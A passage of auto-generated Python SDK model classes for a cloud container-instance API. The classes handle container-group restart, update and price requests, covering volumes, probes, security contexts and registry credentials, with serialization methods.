temp_model = ExportContainerGroupTemplateResponseTemplateSpec() self.spec = temp_model.from_map(map['Spec']) else: self.spec = None return self class RestartContainerGroupRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None, client_token=None): self.region_id = region_id self.container_group_id = container_group_id self.client_token = client_token def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_id, 'container_group_id') def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id result['ClientToken'] = self.client_token return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') self.client_token = map.get('ClientToken') return self class RestartContainerGroupResponse(TeaModel): def __init__(self, request_id=None): self.request_id = request_id def validate(self): self.validate_required(self.request_id, 'request_id') def to_map(self): result = {} result['RequestId'] = self.request_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') return self class UpdateContainerGroupRequest(TeaModel): def __init__(self, region_id=None, container_group_id=None, restart_policy=None, tag=None, volume=None, dns_config=None, container=None, init_container=None, image_registry_credential=None, client_token=None, cpu=None, memory=None): self.region_id = region_id self.container_group_id = container_group_id self.restart_policy = restart_policy self.tag = [] self.volume = [] self.dns_config = dns_config self.container = [] self.init_container = [] self.image_registry_credential = [] self.client_token = client_token self.cpu = cpu self.memory = memory def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.container_group_id, 'container_group_id') if self.tag: for k in self.tag: if k : k.validate() if self.volume: for k in self.volume: if k : k.validate() self.validate_required(self.dns_config, 'dns_config') if self.dns_config: self.dns_config.validate() if self.container: for k in self.container: if k : k.validate() if self.init_container: for k in self.init_container: if k : k.validate() if self.image_registry_credential: for k in self.image_registry_credential: if k : k.validate() def to_map(self): result = {} result['RegionId'] = self.region_id result['ContainerGroupId'] = self.container_group_id result['RestartPolicy'] = self.restart_policy result['Tag'] = [] if self.tag is not None: for k in self.tag: result['Tag'].append(k.to_map() if k else None) else: result['Tag'] = None result['Volume'] = [] if self.volume is not None: for k in self.volume: result['Volume'].append(k.to_map() if k else None) else: result['Volume'] = None if self.dns_config is not None: result['DnsConfig'] = self.dns_config.to_map() else: result['DnsConfig'] = None result['Container'] = [] if self.container is not None: for k in self.container: result['Container'].append(k.to_map() if k else None) else: result['Container'] = None result['InitContainer'] = [] if self.init_container is not None: for k in self.init_container: result['InitContainer'].append(k.to_map() if k else None) else: result['InitContainer'] = None result['ImageRegistryCredential'] = [] if self.image_registry_credential is not None: for k in self.image_registry_credential: result['ImageRegistryCredential'].append(k.to_map() if k else None) else: result['ImageRegistryCredential'] = None result['ClientToken'] = self.client_token result['Cpu'] = self.cpu result['Memory'] = self.memory return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.container_group_id = map.get('ContainerGroupId') self.restart_policy = map.get('RestartPolicy') self.tag = [] if map.get('Tag') is not None: for k in map.get('Tag'): temp_model = UpdateContainerGroupRequestTag() temp_model = temp_model.from_map(k) self.tag.append(temp_model) else: self.tag = None self.volume = [] if map.get('Volume') is not None: for k in map.get('Volume'): temp_model = UpdateContainerGroupRequestVolume() temp_model = temp_model.from_map(k) self.volume.append(temp_model) else: self.volume = None if map.get('DnsConfig') is not None: temp_model = UpdateContainerGroupRequestDnsConfig() self.dns_config = temp_model.from_map(map['DnsConfig']) else: self.dns_config = None self.container = [] if map.get('Container') is not None: for k in map.get('Container'): temp_model = UpdateContainerGroupRequestContainer() temp_model = temp_model.from_map(k) self.container.append(temp_model) else: self.container = None self.init_container = [] if map.get('InitContainer') is not None: for k in map.get('InitContainer'): temp_model = UpdateContainerGroupRequestInitContainer() temp_model = temp_model.from_map(k) self.init_container.append(temp_model) else: self.init_container = None self.image_registry_credential = [] if map.get('ImageRegistryCredential') is not None: for k in map.get('ImageRegistryCredential'): temp_model = UpdateContainerGroupRequestImageRegistryCredential() temp_model = temp_model.from_map(k) self.image_registry_credential.append(temp_model) else: self.image_registry_credential = None self.client_token = map.get('ClientToken') self.cpu = map.get('Cpu') self.memory = map.get('Memory') return self class UpdateContainerGroupRequestTag(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): pass def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class UpdateContainerGroupRequestVolumeNFSVolume(TeaModel): def __init__(self, server=None, path=None, read_only=None): self.server = server self.path = path self.read_only = read_only def validate(self): pass def to_map(self): result = {} result['Server'] = self.server result['Path'] = self.path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.server = map.get('Server') self.path = map.get('Path') self.read_only = map.get('ReadOnly') return self class UpdateContainerGroupRequestVolumeConfigFileVolumeConfigFileToPath(TeaModel): def __init__(self, content=None, path=None): self.content = content self.path = path def validate(self): pass def to_map(self): result = {} result['Content'] = self.content result['Path'] = self.path return result def from_map(self, map={}): self.content = map.get('Content') self.path = map.get('Path') return self class UpdateContainerGroupRequestVolumeConfigFileVolume(TeaModel): def __init__(self, config_file_to_path=None): self.config_file_to_path = [] def validate(self): self.validate_required(self.config_file_to_path, 'config_file_to_path') if self.config_file_to_path: for k in self.config_file_to_path: if k : k.validate() def to_map(self): result = {} result['ConfigFileToPath'] = [] if self.config_file_to_path is not None: for k in self.config_file_to_path: result['ConfigFileToPath'].append(k.to_map() if k else None) else: result['ConfigFileToPath'] = None return result def from_map(self, map={}): self.config_file_to_path = [] if map.get('ConfigFileToPath') is not None: for k in map.get('ConfigFileToPath'): temp_model = UpdateContainerGroupRequestVolumeConfigFileVolumeConfigFileToPath() temp_model = temp_model.from_map(k) self.config_file_to_path.append(temp_model) else: self.config_file_to_path = None return self class UpdateContainerGroupRequestVolumeEmptyDirVolume(TeaModel): def __init__(self, medium=None): self.medium = medium def validate(self): pass def to_map(self): result = {} result['Medium'] = self.medium return result def from_map(self, map={}): self.medium = map.get('Medium') return self class UpdateContainerGroupRequestVolume(TeaModel): def __init__(self, name=None, type=None, nfsvolume=None, config_file_volume=None, empty_dir_volume=None): self.name = name self.type = type self.nfsvolume = nfsvolume self.config_file_volume = config_file_volume self.empty_dir_volume = empty_dir_volume def validate(self): self.validate_required(self.nfsvolume, 'nfsvolume') if self.nfsvolume: self.nfsvolume.validate() self.validate_required(self.config_file_volume, 'config_file_volume') if self.config_file_volume: self.config_file_volume.validate() self.validate_required(self.empty_dir_volume, 'empty_dir_volume') if self.empty_dir_volume: self.empty_dir_volume.validate() def to_map(self): result = {} result['Name'] = self.name result['Type'] = self.type if self.nfsvolume is not None: result['NFSVolume'] = self.nfsvolume.to_map() else: result['NFSVolume'] = None if self.config_file_volume is not None: result['ConfigFileVolume'] = self.config_file_volume.to_map() else: result['ConfigFileVolume'] = None if self.empty_dir_volume is not None: result['EmptyDirVolume'] = self.empty_dir_volume.to_map() else: result['EmptyDirVolume'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.type = map.get('Type') if map.get('NFSVolume') is not None: temp_model = UpdateContainerGroupRequestVolumeNFSVolume() self.nfsvolume = temp_model.from_map(map['NFSVolume']) else: self.nfsvolume = None if map.get('ConfigFileVolume') is not None: temp_model = UpdateContainerGroupRequestVolumeConfigFileVolume() self.config_file_volume = temp_model.from_map(map['ConfigFileVolume']) else: self.config_file_volume = None if map.get('EmptyDirVolume') is not None: temp_model = UpdateContainerGroupRequestVolumeEmptyDirVolume() self.empty_dir_volume = temp_model.from_map(map['EmptyDirVolume']) else: self.empty_dir_volume = None return self class UpdateContainerGroupRequestDnsConfigOption(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class UpdateContainerGroupRequestDnsConfig(TeaModel): def __init__(self, name_server=None, search=None, option=None): self.name_server = [] self.search = [] self.option = [] def validate(self): if self.option: for k in self.option: if k : k.validate() def to_map(self): result = {} result['NameServer'] = [] if self.name_server is not None: for k in self.name_server: result['NameServer'].append(k) else: result['NameServer'] = None result['Search'] = [] if self.search is not None: for k in self.search: result['Search'].append(k) else: result['Search'] = None result['Option'] = [] if self.option is not None: for k in self.option: result['Option'].append(k.to_map() if k else None) else: result['Option'] = None return result def from_map(self, map={}): self.name_server = [] if map.get('NameServer') is not None: for k in map.get('NameServer'): self.name_server.append(k) else: self.name_server = None self.search = [] if map.get('Search') is not None: for k in map.get('Search'): self.search.append(k) else: self.search = None self.option = [] if map.get('Option') is not None: for k in map.get('Option'): temp_model = UpdateContainerGroupRequestDnsConfigOption() temp_model = temp_model.from_map(k) self.option.append(temp_model) else: self.option = None return self class UpdateContainerGroupRequestContainerEnvironmentVar(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): pass def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class UpdateContainerGroupRequestContainerPort(TeaModel): def __init__(self, protocol=None, port=None): self.protocol = protocol self.port = port def validate(self): pass def to_map(self): result = {} result['Protocol'] = self.protocol result['Port'] = self.port return result def from_map(self, map={}): self.protocol = map.get('Protocol') self.port = map.get('Port') return self class UpdateContainerGroupRequestContainerVolumeMount(TeaModel): def __init__(self, name=None, mount_path=None, sub_path=None, read_only=None): self.name = name self.mount_path = mount_path self.sub_path = sub_path self.read_only = read_only def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['MountPath'] = self.mount_path result['SubPath'] = self.sub_path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.name = map.get('Name') self.mount_path = map.get('MountPath') self.sub_path = map.get('SubPath') self.read_only = map.get('ReadOnly') return self class UpdateContainerGroupRequestContainerReadinessProbeTcpSocket(TeaModel): def __init__(self, port=None): self.port = port def validate(self): pass def to_map(self): result = {} result['Port'] = self.port return result def from_map(self, map={}): self.port = map.get('Port') return self class UpdateContainerGroupRequestContainerReadinessProbeExec(TeaModel): def __init__(self, command=None): self.command = [] def validate(self): self.validate_required(self.command, 'command') def to_map(self): result = {} result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None return result def from_map(self, map={}): self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None return self class UpdateContainerGroupRequestContainerReadinessProbeHttpGet(TeaModel): def __init__(self, path=None, port=None, scheme=None): self.path = path self.port = port self.scheme = scheme def validate(self): pass def to_map(self): result = {} result['Path'] = self.path result['Port'] = self.port result['Scheme'] = self.scheme return result def from_map(self, map={}): self.path = map.get('Path') self.port = map.get('Port') self.scheme = map.get('Scheme') return self class UpdateContainerGroupRequestContainerReadinessProbe(TeaModel): def __init__(self, tcp_socket=None, exec=None, http_get=None, initial_delay_seconds=None, period_seconds=None, success_threshold=None, failure_threshold=None, timeout_seconds=None): self.tcp_socket = tcp_socket self.exec = exec self.http_get = http_get self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.timeout_seconds = timeout_seconds def validate(self): self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() self.validate_required(self.exec, 'exec') if self.exec: self.exec.validate() self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() def to_map(self): result = {} if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None if self.exec is not None: result['Exec'] = self.exec.to_map() else: result['Exec'] = None if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold result['TimeoutSeconds'] = self.timeout_seconds return result def from_map(self, map={}): if map.get('TcpSocket') is not None: temp_model = UpdateContainerGroupRequestContainerReadinessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None if map.get('Exec') is not None: temp_model = UpdateContainerGroupRequestContainerReadinessProbeExec() self.exec = temp_model.from_map(map['Exec']) else: self.exec = None if map.get('HttpGet') is not None: temp_model = UpdateContainerGroupRequestContainerReadinessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') self.timeout_seconds = map.get('TimeoutSeconds') return self class UpdateContainerGroupRequestContainerLivenessProbeTcpSocket(TeaModel): def __init__(self, port=None): self.port = port def validate(self): pass def to_map(self): result = {} result['Port'] = self.port return result def from_map(self, map={}): self.port = map.get('Port') return self class UpdateContainerGroupRequestContainerLivenessProbeExec(TeaModel): def __init__(self, command=None): self.command = [] def validate(self): self.validate_required(self.command, 'command') def to_map(self): result = {} result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None return result def from_map(self, map={}): self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None return self class UpdateContainerGroupRequestContainerLivenessProbeHttpGet(TeaModel): def __init__(self, path=None, port=None, scheme=None): self.path = path self.port = port self.scheme = scheme def validate(self): pass def to_map(self): result = {} result['Path'] = self.path result['Port'] = self.port result['Scheme'] = self.scheme return result def from_map(self, map={}): self.path = map.get('Path') self.port = map.get('Port') self.scheme = map.get('Scheme') return self class UpdateContainerGroupRequestContainerLivenessProbe(TeaModel): def __init__(self, tcp_socket=None, exec=None, http_get=None, initial_delay_seconds=None, period_seconds=None, success_threshold=None, failure_threshold=None, timeout_seconds=None): self.tcp_socket = tcp_socket self.exec = exec self.http_get = http_get self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.timeout_seconds = timeout_seconds def validate(self): self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() self.validate_required(self.exec, 'exec') if self.exec: self.exec.validate() self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() self.validate_required(self.failure_threshold, 'failure_threshold') def to_map(self): result = {} if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None if self.exec is not None: result['Exec'] = self.exec.to_map() else: result['Exec'] = None if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold result['TimeoutSeconds'] = self.timeout_seconds return result def from_map(self, map={}): if map.get('TcpSocket') is not None: temp_model = UpdateContainerGroupRequestContainerLivenessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None if map.get('Exec') is not None: temp_model = UpdateContainerGroupRequestContainerLivenessProbeExec() self.exec = temp_model.from_map(map['Exec']) else: self.exec = None if map.get('HttpGet') is not None: temp_model = UpdateContainerGroupRequestContainerLivenessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') self.timeout_seconds = map.get('TimeoutSeconds') return self class UpdateContainerGroupRequestContainerSecurityContextCapability(TeaModel): def __init__(self, add=None): self.add = [] def validate(self): self.validate_required(self.add, 'add') def to_map(self): result = {} result['Add'] = [] if self.add is not None: for k in self.add: result['Add'].append(k) else: result['Add'] = None return result def from_map(self, map={}): self.add = [] if map.get('Add') is not None: for k in map.get('Add'): self.add.append(k) else: self.add = None return self class UpdateContainerGroupRequestContainerSecurityContext(TeaModel): def __init__(self, read_only_root_filesystem=None, run_as_user=None, capability=None): self.read_only_root_filesystem = read_only_root_filesystem self.run_as_user = run_as_user self.capability = capability def validate(self): self.validate_required(self.capability, 'capability') if self.capability: self.capability.validate() def to_map(self): result = {} result['ReadOnlyRootFilesystem'] = self.read_only_root_filesystem result['RunAsUser'] = self.run_as_user if self.capability is not None: result['Capability'] = self.capability.to_map() else: result['Capability'] = None return result def from_map(self, map={}): self.read_only_root_filesystem = map.get('ReadOnlyRootFilesystem') self.run_as_user = map.get('RunAsUser') if map.get('Capability') is not None: temp_model = UpdateContainerGroupRequestContainerSecurityContextCapability() self.capability = temp_model.from_map(map['Capability']) else: self.capability = None return self class UpdateContainerGroupRequestContainer(TeaModel): def __init__(self, name=None, image=None, cpu=None, memory=None, working_dir=None, image_pull_policy=None, stdin=None, stdin_once=None, tty=None, command=None, arg=None, environment_var=None, port=None, volume_mount=None, readiness_probe=None, liveness_probe=None, security_context=None, gpu=None): self.name = name self.image = image self.cpu = cpu self.memory = memory self.working_dir = working_dir self.image_pull_policy = image_pull_policy self.stdin = stdin self.stdin_once = stdin_once self.tty = tty self.command = [] self.arg = [] self.environment_var = [] self.port = [] self.volume_mount = [] self.readiness_probe = readiness_probe self.liveness_probe = liveness_probe self.security_context = security_context self.gpu = gpu def validate(self): self.validate_required(self.command, 'command') self.validate_required(self.arg, 'arg') self.validate_required(self.environment_var, 'environment_var') if self.environment_var: for k in self.environment_var: if k : k.validate() self.validate_required(self.port, 'port') if self.port: for k in self.port: if k : k.validate() self.validate_required(self.volume_mount, 'volume_mount') if self.volume_mount: for k in self.volume_mount: if k : k.validate() self.validate_required(self.readiness_probe, 'readiness_probe') if self.readiness_probe: self.readiness_probe.validate() self.validate_required(self.liveness_probe, 'liveness_probe') if self.liveness_probe: self.liveness_probe.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['Cpu'] = self.cpu result['Memory'] = self.memory result['WorkingDir'] = self.working_dir result['ImagePullPolicy'] = self.image_pull_policy result['Stdin'] = self.stdin result['StdinOnce'] = self.stdin_once result['Tty'] = self.tty result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Arg'] = [] if self.arg is not None: for k in self.arg: result['Arg'].append(k) else: result['Arg'] = None result['EnvironmentVar'] = [] if self.environment_var is not None: for k in self.environment_var: result['EnvironmentVar'].append(k.to_map() if k else None) else: result['EnvironmentVar'] = None result['Port'] = [] if self.port is not None: for k in self.port: result['Port'].append(k.to_map() if k else None) else: result['Port'] = None result['VolumeMount'] = [] if self.volume_mount is not None: for k in self.volume_mount: result['VolumeMount'].append(k.to_map() if k else None) else: result['VolumeMount'] = None if self.readiness_probe is not None: result['ReadinessProbe'] = self.readiness_probe.to_map() else: result['ReadinessProbe'] = None if self.liveness_probe is not None: result['LivenessProbe'] = self.liveness_probe.to_map() else: result['LivenessProbe'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['Gpu'] = self.gpu return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.working_dir = map.get('WorkingDir') self.image_pull_policy = map.get('ImagePullPolicy') self.stdin = map.get('Stdin') self.stdin_once = map.get('StdinOnce') self.tty = map.get('Tty') self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.arg = [] if map.get('Arg') is not None: for k in map.get('Arg'): self.arg.append(k) else: self.arg = None self.environment_var = [] if map.get('EnvironmentVar') is not None: for k in map.get('EnvironmentVar'): temp_model = UpdateContainerGroupRequestContainerEnvironmentVar() temp_model = temp_model.from_map(k) self.environment_var.append(temp_model) else: self.environment_var = None self.port = [] if map.get('Port') is not None: for k in map.get('Port'): temp_model = UpdateContainerGroupRequestContainerPort() temp_model = temp_model.from_map(k) self.port.append(temp_model) else: self.port = None self.volume_mount = [] if map.get('VolumeMount') is not None: for k in map.get('VolumeMount'): temp_model = UpdateContainerGroupRequestContainerVolumeMount() temp_model = temp_model.from_map(k) self.volume_mount.append(temp_model) else: self.volume_mount = None if map.get('ReadinessProbe') is not None: temp_model = UpdateContainerGroupRequestContainerReadinessProbe() self.readiness_probe = temp_model.from_map(map['ReadinessProbe']) else: self.readiness_probe = None if map.get('LivenessProbe') is not None: temp_model = UpdateContainerGroupRequestContainerLivenessProbe() self.liveness_probe = temp_model.from_map(map['LivenessProbe']) else: self.liveness_probe = None if map.get('SecurityContext') is not None: temp_model = UpdateContainerGroupRequestContainerSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.gpu = map.get('Gpu') return self class UpdateContainerGroupRequestInitContainerEnvironmentVar(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): pass def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class UpdateContainerGroupRequestInitContainerPort(TeaModel): def __init__(self, port=None, protocol=None): self.port = port self.protocol = protocol def validate(self): self.validate_required(self.protocol, 'protocol') def to_map(self): result = {} result['Port'] = self.port result['Protocol'] = self.protocol return result def from_map(self, map={}): self.port = map.get('Port') self.protocol = map.get('Protocol') return self class UpdateContainerGroupRequestInitContainerVolumeMount(TeaModel): def __init__(self, name=None, mount_path=None, sub_path=None, read_only=None): self.name = name self.mount_path = mount_path self.sub_path = sub_path self.read_only = read_only def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['MountPath'] = self.mount_path result['SubPath'] = self.sub_path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.name = map.get('Name') self.mount_path = map.get('MountPath') self.sub_path = map.get('SubPath') self.read_only = map.get('ReadOnly') return self class UpdateContainerGroupRequestInitContainerSecurityContextCapability(TeaModel): def __init__(self, add=None): self.add = [] def validate(self): self.validate_required(self.add, 'add') def to_map(self): result = {} result['Add'] = [] if self.add is not None: for k in self.add: result['Add'].append(k) else: result['Add'] = None return result def from_map(self, map={}): self.add = [] if map.get('Add') is not None: for k in map.get('Add'): self.add.append(k) else: self.add = None return self class UpdateContainerGroupRequestInitContainerSecurityContext(TeaModel): def __init__(self, read_only_root_filesystem=None, run_as_user=None, capability=None): self.read_only_root_filesystem = read_only_root_filesystem self.run_as_user = run_as_user self.capability = capability def validate(self): self.validate_required(self.capability, 'capability') if self.capability: self.capability.validate() def to_map(self): result = {} result['ReadOnlyRootFilesystem'] = self.read_only_root_filesystem result['RunAsUser'] = self.run_as_user if self.capability is not None: result['Capability'] = self.capability.to_map() else: result['Capability'] = None return result def from_map(self, map={}): self.read_only_root_filesystem = map.get('ReadOnlyRootFilesystem') self.run_as_user = map.get('RunAsUser') if map.get('Capability') is not None: temp_model = UpdateContainerGroupRequestInitContainerSecurityContextCapability() self.capability = temp_model.from_map(map['Capability']) else: self.capability = None return self class UpdateContainerGroupRequestInitContainer(TeaModel): def __init__(self, name=None, image=None, cpu=None, memory=None, working_dir=None, image_pull_policy=None, stdin=None, stdin_once=None, tty=None, command=None, arg=None, environment_var=None, port=None, volume_mount=None, security_context=None, gpu=None): self.name = name self.image = image self.cpu = cpu self.memory = memory self.working_dir = working_dir self.image_pull_policy = image_pull_policy self.stdin = stdin self.stdin_once = stdin_once self.tty = tty self.command = [] self.arg = [] self.environment_var = [] self.port = [] self.volume_mount = [] self.security_context = security_context self.gpu = gpu def validate(self): self.validate_required(self.command, 'command') self.validate_required(self.arg, 'arg') self.validate_required(self.environment_var, 'environment_var') if self.environment_var: for k in self.environment_var: if k : k.validate() self.validate_required(self.port, 'port') if self.port: for k in self.port: if k : k.validate() self.validate_required(self.volume_mount, 'volume_mount') if self.volume_mount: for k in self.volume_mount: if k : k.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['Cpu'] = self.cpu result['Memory'] = self.memory result['WorkingDir'] = self.working_dir result['ImagePullPolicy'] = self.image_pull_policy result['Stdin'] = self.stdin result['StdinOnce'] = self.stdin_once result['Tty'] = self.tty result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Arg'] = [] if self.arg is not None: for k in self.arg: result['Arg'].append(k) else: result['Arg'] = None result['EnvironmentVar'] = [] if self.environment_var is not None: for k in self.environment_var: result['EnvironmentVar'].append(k.to_map() if k else None) else: result['EnvironmentVar'] = None result['Port'] = [] if self.port is not None: for k in self.port: result['Port'].append(k.to_map() if k else None) else: result['Port'] = None result['VolumeMount'] = [] if self.volume_mount is not None: for k in self.volume_mount: result['VolumeMount'].append(k.to_map() if k else None) else: result['VolumeMount'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['Gpu'] = self.gpu return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.working_dir = map.get('WorkingDir') self.image_pull_policy = map.get('ImagePullPolicy') self.stdin = map.get('Stdin') self.stdin_once = map.get('StdinOnce') self.tty = map.get('Tty') self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.arg = [] if map.get('Arg') is not None: for k in map.get('Arg'): self.arg.append(k) else: self.arg = None self.environment_var = [] if map.get('EnvironmentVar') is not None: for k in map.get('EnvironmentVar'): temp_model = UpdateContainerGroupRequestInitContainerEnvironmentVar() temp_model = temp_model.from_map(k) self.environment_var.append(temp_model) else: self.environment_var = None self.port = [] if map.get('Port') is not None: for k in map.get('Port'): temp_model = UpdateContainerGroupRequestInitContainerPort() temp_model = temp_model.from_map(k) self.port.append(temp_model) else: self.port = None self.volume_mount = [] if map.get('VolumeMount') is not None: for k in map.get('VolumeMount'): temp_model = UpdateContainerGroupRequestInitContainerVolumeMount() temp_model = temp_model.from_map(k) self.volume_mount.append(temp_model) else: self.volume_mount = None if map.get('SecurityContext') is not None: temp_model = UpdateContainerGroupRequestInitContainerSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.gpu = map.get('Gpu') return self class UpdateContainerGroupRequestImageRegistryCredential(TeaModel): def __init__(self, server=None, user_name=None, password=None): self.server = server self.user_name = user_name self.password = password def validate(self): pass def to_map(self): result = {} result['Server'] = self.server result['UserName'] = self.user_name result['Password'] = self.password return result def from_map(self, map={}): self.server = map.get('Server') self.user_name = map.get('UserName') self.password = map.get('Password') return self class UpdateContainerGroupResponse(TeaModel): def __init__(self, request_id=None): self.request_id = request_id def validate(self): self.validate_required(self.request_id, 'request_id') def to_map(self): result = {} result['RequestId'] = self.request_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') return self class DescribeContainerGroupPriceRequest(TeaModel): def __init__(self, region_id=None, cpu=None, memory=None, instance_type=None, spot_strategy=None, zone_id=None, spot_price_limit=None): self.region_id = region_id self.cpu = cpu self.memory = memory self.instance_type = instance_type self.spot_strategy = spot_strategy self.zone_id = zone_id self.spot_price_limit = spot_price_limit def validate(self): self.validate_required(self.region_id, 'region_id') def to_map(self): result = {} result['RegionId'] = self.region_id result['Cpu'] = self.cpu result['Memory'] = self.memory result['InstanceType'] = self.instance_type result['SpotStrategy'] = self.spot_strategy result['ZoneId'] = self.zone_id result['SpotPriceLimit'] = self.spot_price_limit return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.instance_type = map.get('InstanceType') self.spot_strategy = map.get('SpotStrategy') self.zone_id = map.get('ZoneId') self.spot_price_limit = map.get('SpotPriceLimit') return self class DescribeContainerGroupPriceResponse(TeaModel): def __init__(self, request_id=None, price_info=None): self.request_id = request_id self.price_info = price_info def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.price_info, 'price_info') if self.price_info: self.price_info.validate() def to_map(self): result = {} result['RequestId'] = self.request_id if self.price_info is not None: result['PriceInfo'] = self.price_info.to_map() else: result['PriceInfo'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') if map.get('PriceInfo') is not None: temp_model = DescribeContainerGroupPriceResponsePriceInfo() self.price_info = temp_model.from_map(map['PriceInfo']) else: self.price_info = None return self class DescribeContainerGroupPriceResponsePriceInfoRulesRule(TeaModel): def __init__(self, rule_id=None, description=None): self.rule_id = rule_id self.description = description def validate(self): self.validate_required(self.rule_id, 'rule_id') self.validate_required(self.description, 'description') def to_map(self): result = {} result['RuleId'] = self.rule_id result['Description'] = self.description return result def from_map(self, map={}): self.rule_id = map.get('RuleId') self.description = map.get('Description') return self class DescribeContainerGroupPriceResponsePriceInfoRules(TeaModel): def __init__(self, rule=None): self.rule = [] def validate(self): self.validate_required(self.rule, 'rule') if self.rule: for k in self.rule: if k : k.validate() def to_map(self): result = {} result['Rule'] = [] if self.rule is not None: for k in self.rule: result['Rule'].append(k.to_map() if k else None) else: result['Rule'] = None return result def from_map(self, map={}): self.rule = [] if map.get('Rule') is not None: for k in map.get('Rule'): temp_model = DescribeContainerGroupPriceResponsePriceInfoRulesRule() temp_model = temp_model.from_map(k) self.rule.append(temp_model) else: self.rule = None return self class DescribeContainerGroupPriceResponsePriceInfoSpotPricesSpotPrice(TeaModel): def __init__(self, zone_id=None, instance_type=None, spot_price=None, origin_price=None): self.zone_id = zone_id self.instance_type = instance_type self.spot_price = spot_price self.origin_price = origin_price def validate(self): self.validate_required(self.zone_id, 'zone_id') self.validate_required(self.instance_type, 'instance_type') self.validate_required(self.spot_price, 'spot_price') self.validate_required(self.origin_price, 'origin_price') def to_map(self): result = {} result['ZoneId'] = self.zone_id result['InstanceType'] = self.instance_type result['SpotPrice'] = self.spot_price result['OriginPrice'] = self.origin_price return result def from_map(self, map={}): self.zone_id = map.get('ZoneId') self.instance_type = map.get('InstanceType') self.spot_price = map.get('SpotPrice') self.origin_price = map.get('OriginPrice') return self class 